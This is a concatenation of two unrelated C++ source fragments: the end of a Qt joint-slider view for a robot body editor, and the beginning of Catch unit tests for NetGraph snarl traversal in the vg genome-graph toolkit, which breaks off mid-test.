putSpinEntryCheck.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
putSpinEntryCheck.setText(_("Entry"));
putSpinEntryCheck.setToolTip(_("Show spin entries for numerical input"));
putSpinEntryCheck.setChecked(true);
putSpinEntryCheck.sigToggled().connect(std::bind(&JointSliderViewImpl::updateSliderGrid, this));
hbox->addWidget(&putSpinEntryCheck);
putSliderCheck.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
putSliderCheck.setText(_("Slider"));
putSliderCheck.setToolTip(_("Show sliders for chaning joint positions"));
putSliderCheck.setChecked(true);
putSliderCheck.sigToggled().connect(std::bind(&JointSliderViewImpl::updateSliderGrid, this));
hbox->addWidget(&putSliderCheck);
labelOnLeftToggle.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
labelOnLeftToggle.setText(_("IL"));
labelOnLeftToggle.setToolTip(_("Put all the components for each joint in-line"));
labelOnLeftToggle.setChecked(true);
labelOnLeftToggle.sigToggled().connect(std::bind(&JointSliderViewImpl::updateSliderGrid, this));
hbox->addWidget(&labelOnLeftToggle);
hbox->addSpacing(4);
hbox->addWidget(new VSeparator());
hbox->addSpacing(4);
numColumnsSpin.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
numColumnsSpin.setToolTip(_("The number of columns"));
numColumnsSpin.setRange(1, 9);
numColumnsSpin.setValue(1);
numColumnsSpin.sigValueChanged().connect(
std::bind(&JointSliderViewImpl::onNumColumnsChanged, this, _1));
hbox->addWidget(&numColumnsSpin);
hbox->addSpacing(4);
hbox->addWidget(new VSeparator());
hbox->addSpacing(4);
unitRadioGroup.addButton(°reeRadio);
degreeRadio.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
degreeRadio.setText(_("Deg."));
degreeRadio.setChecked(true);
degreeRadio.sigToggled().connect(std::bind(&JointSliderViewImpl::onUnitChanged, this));
hbox->addWidget(°reeRadio);
unitRadioGroup.addButton(&radianRadio);
radianRadio.setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Expanding);
radianRadio.setText(_("Rad."));
radianRadio.sigToggled().connect(std::bind(&JointSliderViewImpl::onUnitChanged, this));
hbox->addWidget(&radianRadio);
hbox->addStretch();
vbox->addLayout(hbox);
sliderGrid.setSpacing(0);
QVBoxLayout* gridVBox = new QVBoxLayout();
gridVBox->addLayout(&sliderGrid);
gridVBox->addStretch();
sliderGridBase.setLayout(gridVBox);
scrollArea.setFrameShape(QFrame::NoFrame);
scrollArea.setWidgetResizable(true);
scrollArea.setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
scrollArea.setVerticalScrollBarPolicy(Qt::ScrollBarAsNeeded);
scrollArea.setWidget(&sliderGridBase);
vbox->addWidget(&scrollArea, 1);
self->setLayout(vbox);
updateSliderGrid();
updateJointPositionsLater.setFunction(std::bind(&JointSliderViewImpl::updateJointPositions, this));
updateJointPositionsLater.setPriority(LazyCaller::PRIORITY_LOW);
connectionOfCurrentBodyItemChanged =
BodyBar::instance()->sigCurrentBodyItemChanged().connect(
std::bind(&JointSliderViewImpl::onCurrentBodyItemChanged, this, _1));
self->sigActivated().connect(std::bind(&JointSliderViewImpl::enableConnectionToSigKinematicStateChanged, this, true));
self->sigDeactivated().connect(std::bind(&JointSliderViewImpl::enableConnectionToSigKinematicStateChanged, this, false));
}
JointSliderView::~JointSliderView()
{
delete impl;
}
JointSliderViewImpl::~JointSliderViewImpl()
{
for(size_t i=0; i < jointSliders.size(); ++i){
delete jointSliders[i];
}
connectionOfKinematicStateChanged.disconnect();
connectionOfCurrentBodyItemChanged.disconnect();
}
void JointSliderViewImpl::updateSliderGrid()
{
if(!currentBodyItem){
initializeSliders(0);
} else {
BodyPtr body = currentBodyItem->body();
int numJoints = body->numJoints();
if(!showAllToggle.isChecked()){
const boost::dynamic_bitset<>& linkSelection =
LinkSelectionView::mainInstance()->linkSelection(currentBodyItem);
activeJointIds.clear();
for(int i=0; i < numJoints; ++i){
Link* joint = body->joint(i);
if(joint->isValid() && linkSelection[joint->index()]){
activeJointIds.push_back(i);
}
}
} else {
activeJointIds.resize(numJoints);
for(int i=0; i < numJoints; ++i){
activeJointIds[i] = i;
}
}
int n = activeJointIds.size();
initializeSliders(n);
int nColumns = numColumnsSpin.value();
bool isLabelAtLeft = labelOnLeftToggle.isChecked();
int nUnitColumns, nGridColumns;
if(isLabelAtLeft){
nUnitColumns = 6;
nGridColumns = nColumns * nUnitColumns;
} else {
nUnitColumns = 5;
nGridColumns = nColumns * nUnitColumns;
}
int row = 0;
int col = 0;
for(int i=0; i < n; ++i){
SliderUnit* unit = jointSliders[i];
unit->initialize(body->joint(activeJointIds[i]));
if(!isLabelAtLeft){
sliderGrid.addWidget(&unit->nameLabel, row, col, 1, nUnitColumns);
sliderGrid.addWidget(&unit->idLabel, row + 1, col);
attachSliderUnits(unit, row + 1, col + 1);
col += nUnitColumns;
if(col == nGridColumns){
col = 0;
row += 2;
}
} else {
sliderGrid.addWidget(&unit->idLabel,row, col);
sliderGrid.addWidget(&unit->nameLabel,row, col + 1);
attachSliderUnits(unit, row, col + 2);
col += nUnitColumns;
if(col == nGridColumns){
col = 0;
row += 1;
}
}
}
}
}
void JointSliderViewImpl::attachSliderUnits(SliderUnit* unit, int row, int col)
{
sliderGrid.addWidget(&unit->spin, row, col);
sliderGrid.addWidget(&unit->lowerLimitLabel,row, col + 1);
sliderGrid.addWidget(&unit->slider, row, col + 2);
sliderGrid.addWidget(&unit->upperLimitLabel,row, col + 3);
}
void JointSliderViewImpl::initializeSliders(int num)
{
int prevNum = jointSliders.size();
for(int i=0; i < prevNum; ++i){
jointSliders[i]->removeWidgesFrom(sliderGrid);
}
if(num > prevNum){
for(int i=prevNum; i < num; ++i){
int index = jointSliders.size();
jointSliders.push_back(new SliderUnit(this, index));
}
} else if(num < prevNum){
for(int i=num; i < prevNum; ++i){
delete jointSliders[i];
}
jointSliders.resize(num);
}
}
void JointSliderViewImpl::onNumColumnsChanged(int n)
{
callLater(std::bind(&JointSliderViewImpl::updateSliderGrid, this));
}
void JointSliderViewImpl::onUnitChanged()
{
BodyPtr body = currentBodyItem->body();
for(size_t i=0; i < activeJointIds.size(); ++i){
int jointId = activeJointIds[i];
jointSliders[jointId]->initialize(body->joint(jointId));
}
}
bool JointSliderViewImpl::eventFilter(QObject* object, QEvent* event)
{
Slider* slider = dynamic_cast<Slider*>(object);
if(slider && (event->type() == QEvent::KeyPress)){
return onSliderKeyPressEvent(slider, static_cast<QKeyEvent*>(event));
}
return QObject::eventFilter(object, event);
}
bool JointSliderViewImpl::onSliderKeyPressEvent(Slider* slider, QKeyEvent* event)
{
int index = slider->property("JointSliderIndex").toInt();
bool doContinue = false;
switch(event->key()){
case Qt::Key_Up:
focusSlider(index - 1);
break;
case Qt::Key_Down:
focusSlider(index + 1);
break;
default:
doContinue = true;
break;
}
return !doContinue;
}
void JointSliderViewImpl::focusSlider(int index)
{
if(index >= 0 && index < static_cast<int>(jointSliders.size())){
Slider& slider = jointSliders[index]->slider;
slider.setFocus(Qt::OtherFocusReason);
scrollArea.ensureWidgetVisible(&slider);
}
}
void JointSliderViewImpl::onJointSliderChanged(int sliderIndex)
{
int jointId = activeJointIds[sliderIndex];
Link* joint = currentBodyItem->body()->joint(jointId);
joint->q() = jointSliders[sliderIndex]->value();
connectionOfKinematicStateChanged.block();
currentBodyItem->notifyKinematicStateChange(true);
connectionOfKinematicStateChanged.unblock();
}
void JointSliderViewImpl::updateJointPositions()
{
BodyPtr body = currentBodyItem->body();
for(size_t i=0; i < activeJointIds.size(); ++i){
int jointId = activeJointIds[i];
jointSliders[i]->updatePosition(body->joint(jointId));
}
}
void JointSliderViewImpl::onCurrentBodyItemChanged(BodyItem* bodyItem)
{
currentBodyItem = bodyItem;
connectionOfLinkSelectionChanged.disconnect();
if(currentBodyItem){
connectionOfLinkSelectionChanged =
LinkSelectionView::mainInstance()->sigSelectionChanged(bodyItem).connect
(std::bind(&JointSliderViewImpl::updateSliderGrid, this));
}
updateSliderGrid();
enableConnectionToSigKinematicStateChanged(true);
}
void JointSliderViewImpl::enableConnectionToSigKinematicStateChanged(bool on)
{
connectionOfKinematicStateChanged.disconnect();
if(on && self->isActive() && currentBodyItem){
connectionOfKinematicStateChanged = currentBodyItem->sigKinematicStateChanged().connect(
//bind(&JointSliderViewImpl::updateJointPositions, this));
std::bind(updateJointPositionsLater));
updateJointPositions();
}
}
bool JointSliderView::storeState(Archive& archive)
{
return impl->storeState(archive);
}
bool JointSliderViewImpl::storeState(Archive& archive)
{
archive.write("showAllJoints", (showAllToggle.isChecked()));
archive.write("jointId", (jointIdToggle.isChecked()));
archive.write("name", (nameToggle.isChecked()));
archive.write("numColumns", (numColumnsSpin.value()));
archive.write("spinBox", (putSpinEntryCheck.isChecked()));
archive.write("slider", (putSliderCheck.isChecked()));
archive.write("labelOnLeft", (labelOnLeftToggle.isChecked()));
archive.writeItemId("currentBodyItem", currentBodyItem);
return true;
}
bool JointSliderView::restoreState(const Archive& archive)
{
return impl->restoreState(archive);
}
bool JointSliderViewImpl::restoreState(const Archive& archive)
{
showAllToggle.setChecked(archive.get("showAllJoints", true));
jointIdToggle.setChecked(archive.get("jointId", false));
nameToggle.setChecked(archive.get("name", true));
numColumnsSpin.setValue(archive.get("numColumns", 1));
putSpinEntryCheck.setChecked(archive.get("spinBox", true));
putSliderCheck.setChecked(archive.get("slider", true));
labelOnLeftToggle.setChecked(archive.get("labelOnLeft", true));
archive.addPostProcess(
std::bind(&JointSliderViewImpl::restoreCurrentBodyItem, this, std::ref(archive)));
return true;
}
void JointSliderViewImpl::restoreCurrentBodyItem(const Archive& archive)
{
onCurrentBodyItemChanged(archive.findItem<BodyItem>("currentBodyItem"));
}
|
//
// snarls.cpp
//
// Unit tests for SnarlManager and related functions
//
#include <stdio.h>
#include <iostream>
#include <set>
#include "json2pb.h"
#include "vg.pb.h"
#include "catch.hpp"
#include "snarls.hpp"
#include "genotypekit.hpp"
namespace vg {
namespace unittest {
TEST_CASE( "NetGraph can allow traversal of a simple net graph",
"[snarls][netgraph]" ) {
// This graph will have a snarl from 1 to 8, a snarl from 2 to 7,
// and a snarl from 3 to 5, all nested in each other.
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n6);
Edge* e5 = graph.create_edge(n3, n4);
Edge* e6 = graph.create_edge(n3, n5);
Edge* e7 = graph.create_edge(n4, n5);
Edge* e8 = graph.create_edge(n5, n7);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
// Define the snarls for the top level
Snarl top_snarl;
top_snarl.mutable_start()->set_node_id(n1->id());
top_snarl.mutable_end()->set_node_id(n8->id());
// We have a chain with a snarl in it
vector<vector<Snarl>> top_chains;
top_chains.emplace_back();
auto& top_chain1 = top_chains.back();
top_chain1.emplace_back();
auto& nested_snarl1 = top_chain1.back();
// And that snarl has these characteristics
nested_snarl1.mutable_start()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_node_id(n7->id());
nested_snarl1.set_type(ULTRABUBBLE);
*nested_snarl1.mutable_parent() = top_snarl;
nested_snarl1.set_directed_acyclic_net_graph(true);
nested_snarl1.set_start_self_reachable(false);
nested_snarl1.set_end_self_reachable(false);
nested_snarl1.set_start_end_reachable(true);
// We have an empty vector of top-level unary snarls.
// TODO: should we have any?
vector<Snarl> top_unary_snarls;
// Make a net graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, false);
SECTION( "The top-level NetGraph has 3 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 3);
SECTION( "The nodes are numbered 1, 2, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 3 edges" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 2, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
REQUIRE(edges.size() == 3);
}
}
TEST_CASE( "NetGraph can handle start-start connectivity",
"[snarls][netgraph]" ) {
// This graph will have a snarl from 1 to 8, a snarl from 2 to 7,
// and a snarl from 3 to 5, all nested in each other.
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n6);
Edge* e5 = graph.create_edge(n3, n4);
// Add an extra reversing edge so you can leave out the start
Edge* eRev = graph.create_edge(n3, n3, false, true);
Edge* e6 = graph.create_edge(n3, n5);
Edge* e7 = graph.create_edge(n4, n5);
Edge* e8 = graph.create_edge(n5, n7);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
// Define the snarls for the top level
Snarl top_snarl;
top_snarl.mutable_start()->set_node_id(n1->id());
top_snarl.mutable_end()->set_node_id(n8->id());
// We have a chain with a snarl in it
vector<vector<Snarl>> top_chains;
top_chains.emplace_back();
auto& top_chain1 = top_chains.back();
top_chain1.emplace_back();
auto& nested_snarl1 = top_chain1.back();
// And that snarl has these characteristics
nested_snarl1.mutable_start()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_node_id(n7->id());
nested_snarl1.set_type(UNCLASSIFIED);
*nested_snarl1.mutable_parent() = top_snarl;
nested_snarl1.set_directed_acyclic_net_graph(true);
// Because we can reverse inside a child, we are start-start reachable
nested_snarl1.set_start_self_reachable(true);
nested_snarl1.set_end_self_reachable(false);
nested_snarl1.set_start_end_reachable(true);
// We have an empty vector of top-level unary snarls.
// TODO: should we have any?
vector<Snarl> top_unary_snarls;
SECTION( "A connectivity-ignoring net graph ignores connectivity" ) {
// Make a net graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, false);
SECTION( "The top-level NetGraph has 3 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 3);
SECTION( "The nodes are numbered 1, 2, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 3 edges" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 2, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
REQUIRE(edges.size() == 3);
}
}
SECTION( "A connectivity-respecting net graph allows more traversals" ) {
// Make a connectivity-respecting graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, true);
SECTION( "The top-level NetGraph has 3 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 3);
SECTION( "The nodes are numbered 1, 2, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 4 edges" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 2, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
REQUIRE(edges.size() == 4);
#ifdef debug
for (auto& edge : edges) {
cerr << net_graph.get_id(edge.first) << " " << net_graph.get_is_reverse(edge.first) << " -> "
<< net_graph.get_id(edge.second) << " " << net_graph.get_is_reverse(edge.second) << endl;
}
#endif
SECTION( "One edge is from node 1 to node 2 in reverse" ) {
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(1, false),
net_graph.get_handle(2, true))) == 1);
}
}
}
}
TEST_CASE( "NetGraph can handle end-end connectivity",
"[snarls][netgraph]" ) {
// This graph will have a snarl from 1 to 8, a snarl from 2 to 7,
// and a snarl from 3 to 5, all nested in each other.
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n6);
Edge* e5 = graph.create_edge(n3, n4);
// Add an extra reversing edge so you can leave out the end
Edge* eRev = graph.create_edge(n4, n4, true, false);
Edge* e6 = graph.create_edge(n3, n5);
Edge* e7 = graph.create_edge(n4, n5);
Edge* e8 = graph.create_edge(n5, n7);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
// Define the snarls for the top level
Snarl top_snarl;
top_snarl.mutable_start()->set_node_id(n1->id());
top_snarl.mutable_end()->set_node_id(n8->id());
// We have a chain with a snarl in it
vector<vector<Snarl>> top_chains;
top_chains.emplace_back();
auto& top_chain1 = top_chains.back();
top_chain1.emplace_back();
auto& nested_snarl1 = top_chain1.back();
// And that snarl has these characteristics
nested_snarl1.mutable_start()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_node_id(n7->id());
nested_snarl1.set_type(UNCLASSIFIED);
*nested_snarl1.mutable_parent() = top_snarl;
nested_snarl1.set_directed_acyclic_net_graph(true);
// Because we can reverse inside a child, we are end-end reachable
nested_snarl1.set_start_self_reachable(false);
nested_snarl1.set_end_self_reachable(true);
nested_snarl1.set_start_end_reachable(true);
// We have an empty vector of top-level unary snarls.
// TODO: should we have any?
vector<Snarl> top_unary_snarls;
SECTION( "A connectivity-ignoring net graph ignores connectivity" ) {
// Make a net graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, false);
SECTION( "The top-level NetGraph has 3 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 3);
SECTION( "The nodes are numbered 1, 2, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 3 edges" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 2, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
REQUIRE(edges.size() == 3);
}
}
SECTION( "A connectivity-respecting net graph allows more traversals" ) {
// Make a connectivity-respecting graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, true);
SECTION( "The top-level NetGraph has 3 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 3);
SECTION( "The nodes are numbered 1, 2, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 4 edges" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 2, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
REQUIRE(edges.size() == 4);
#ifdef debug
for (auto& edge : edges) {
cerr << net_graph.get_id(edge.first) << " " << net_graph.get_is_reverse(edge.first) << " -> "
<< net_graph.get_id(edge.second) << " " << net_graph.get_is_reverse(edge.second) << endl;
}
#endif
SECTION( "One edge is from node 2 in reverse to node 8" ) {
REQUIRE(edges.count(net_graph.edge_handle(net_graph.get_handle(2, true),
net_graph.get_handle(8, false))) == 1);
}
}
}
}
TEST_CASE( "NetGraph can handle no connectivity",
"[snarls][netgraph]" ) {
// This graph will have a snarl from 1 to 8, a snarl from 2 to 7,
// and a snarl from 3 to 5, all nested in each other.
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n6);
Edge* e5 = graph.create_edge(n3, n4);
Edge* e6 = graph.create_edge(n3, n5);
Edge* e7 = graph.create_edge(n4, n5);
// Make node 7's start connect to what node 2's end connects to, so the 2 to 7 snarl has two unary children.
Edge* e8 = graph.create_edge(n7, n3, true, false);
Edge* e9 = graph.create_edge(n7, n6, true, false);
Edge* e10 = graph.create_edge(n7, n8);
// Define the snarls for the top level
Snarl top_snarl;
top_snarl.mutable_start()->set_node_id(n1->id());
top_snarl.mutable_end()->set_node_id(n8->id());
// We have a chain with a snarl in it
vector<vector<Snarl>> top_chains;
top_chains.emplace_back();
auto& top_chain1 = top_chains.back();
top_chain1.emplace_back();
auto& nested_snarl1 = top_chain1.back();
// And that snarl has these characteristics
nested_snarl1.mutable_start()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_node_id(n7->id());
nested_snarl1.set_type(UNCLASSIFIED);
*nested_snarl1.mutable_parent() = top_snarl;
nested_snarl1.set_directed_acyclic_net_graph(true);
// We aren't actually traversable at all
nested_snarl1.set_start_self_reachable(false);
nested_snarl1.set_end_self_reachable(false);
nested_snarl1.set_start_end_reachable(false);
// We have an empty vector of top-level unary snarls.
// TODO: should we have any?
vector<Snarl> top_unary_snarls;
SECTION( "A connectivity-ignoring net graph ignores connectivity" ) {
// Make a net graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, false);
SECTION( "The top-level NetGraph has 3 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 3);
SECTION( "The nodes are numbered 1, 2, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 3 edges" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 2, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
REQUIRE(edges.size() == 3);
}
}
SECTION( "A connectivity-respecting net graph doesn't allow through-traversal" ) {
// Make a connectivity-respecting graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, true);
SECTION( "The top-level NetGraph has 3 nodes" ) {
unordered_set<handle_t> nodes;
net_graph.for_each_handle([&](const handle_t& handle) {
nodes.insert(handle);
});
REQUIRE(nodes.size() == 3);
SECTION( "The nodes are numbered 1, 2, and 8" ) {
REQUIRE(nodes.count(net_graph.get_handle(1, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(2, false)) == 1);
REQUIRE(nodes.count(net_graph.get_handle(8, false)) == 1);
}
}
SECTION( "The top-level NetGraph has 3 edges looking around node 2" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {1, 8}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
REQUIRE(edges.size() == 3);
#ifdef debug
for (auto& edge : edges) {
cerr << net_graph.get_id(edge.first) << " " << net_graph.get_is_reverse(edge.first) << " -> "
<< net_graph.get_id(edge.second) << " " << net_graph.get_is_reverse(edge.second) << endl;
}
#endif
}
SECTION( "The top-level NetGraph has 0 edges looking at node 2" ) {
unordered_set<pair<handle_t, handle_t>> edges;
for (auto& id : {2}) {
// Go through the nodes we should have manually.
handle_t handle = net_graph.get_handle(id, false);
// Save all the edges off of each node
net_graph.follow_edges(handle, false, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(handle, other));
});
net_graph.follow_edges(handle, true, [&](const handle_t& other) {
edges.insert(net_graph.edge_handle(other, handle));
});
}
REQUIRE(edges.size() == 0);
#ifdef debug
for (auto& edge : edges) {
cerr << net_graph.get_id(edge.first) << " " << net_graph.get_is_reverse(edge.first) << " -> "
<< net_graph.get_id(edge.second) << " " << net_graph.get_is_reverse(edge.second) << endl;
}
#endif
}
}
}
TEST_CASE( "NetGraph finds all edges correctly when traversing in all directions",
"[snarls][netgraph]" ) {
// This graph will have a snarl from 1 to 8, a snarl from 2 to 7,
// and a snarl from 3 to 5, all nested in each other.
VG graph;
Node* n1 = graph.create_node("GCA");
Node* n2 = graph.create_node("T");
Node* n3 = graph.create_node("G");
Node* n4 = graph.create_node("CTGA");
Node* n5 = graph.create_node("GCA");
Node* n6 = graph.create_node("T");
Node* n7 = graph.create_node("G");
Node* n8 = graph.create_node("CTGA");
Edge* e1 = graph.create_edge(n1, n2);
Edge* e2 = graph.create_edge(n1, n8);
Edge* e3 = graph.create_edge(n2, n3);
Edge* e4 = graph.create_edge(n2, n6);
Edge* e5 = graph.create_edge(n3, n4);
// Add an extra reversing edge so you can leave out the start
Edge* eRev = graph.create_edge(n3, n3, false, true);
// Add an extra reversing edge so you can leave out the end
Edge* eRev2 = graph.create_edge(n5, n5, false, true);
Edge* e6 = graph.create_edge(n3, n5);
Edge* e7 = graph.create_edge(n4, n5);
Edge* e8 = graph.create_edge(n5, n7);
Edge* e9 = graph.create_edge(n6, n7);
Edge* e10 = graph.create_edge(n7, n8);
// Define the snarls for the top level
Snarl top_snarl;
top_snarl.mutable_start()->set_node_id(n1->id());
top_snarl.mutable_end()->set_node_id(n8->id());
// We have a chain with a snarl in it
vector<vector<Snarl>> top_chains;
top_chains.emplace_back();
auto& top_chain1 = top_chains.back();
top_chain1.emplace_back();
auto& nested_snarl1 = top_chain1.back();
// And that snarl has these characteristics
nested_snarl1.mutable_start()->set_node_id(n2->id());
nested_snarl1.mutable_end()->set_node_id(n7->id());
nested_snarl1.set_type(UNCLASSIFIED);
*nested_snarl1.mutable_parent() = top_snarl;
nested_snarl1.set_directed_acyclic_net_graph(true);
// Because we can reverse inside a child, we are start-start and end-end reachable
nested_snarl1.set_start_self_reachable(true);
nested_snarl1.set_end_self_reachable(true);
nested_snarl1.set_start_end_reachable(true);
// We have an empty vector of top-level unary snarls.
// TODO: should we have any?
vector<Snarl> top_unary_snarls;
// Make a connectivity-respecting graph
NetGraph net_graph(top_snarl.start(), top_snarl.end(), top_chains, top_unary_snarls, &graph, true);
// Make a handle to the nested child snarl
handle_t nested_fwd = net_graph.get_handle(n2->id(), false);
// ANd reverse it
auto nested_rev = net_graph.flip(nested_fwd);
SECTION( "Forward handle sees 1 fwd and 8 rev on its left" ) {
unordered_set<handle_t> seen;
net_graph.follow_edges(nested_fwd, true, [&](const handle_t& other) {
seen.insert(other);
});
REQUIRE(seen.size() == 2);
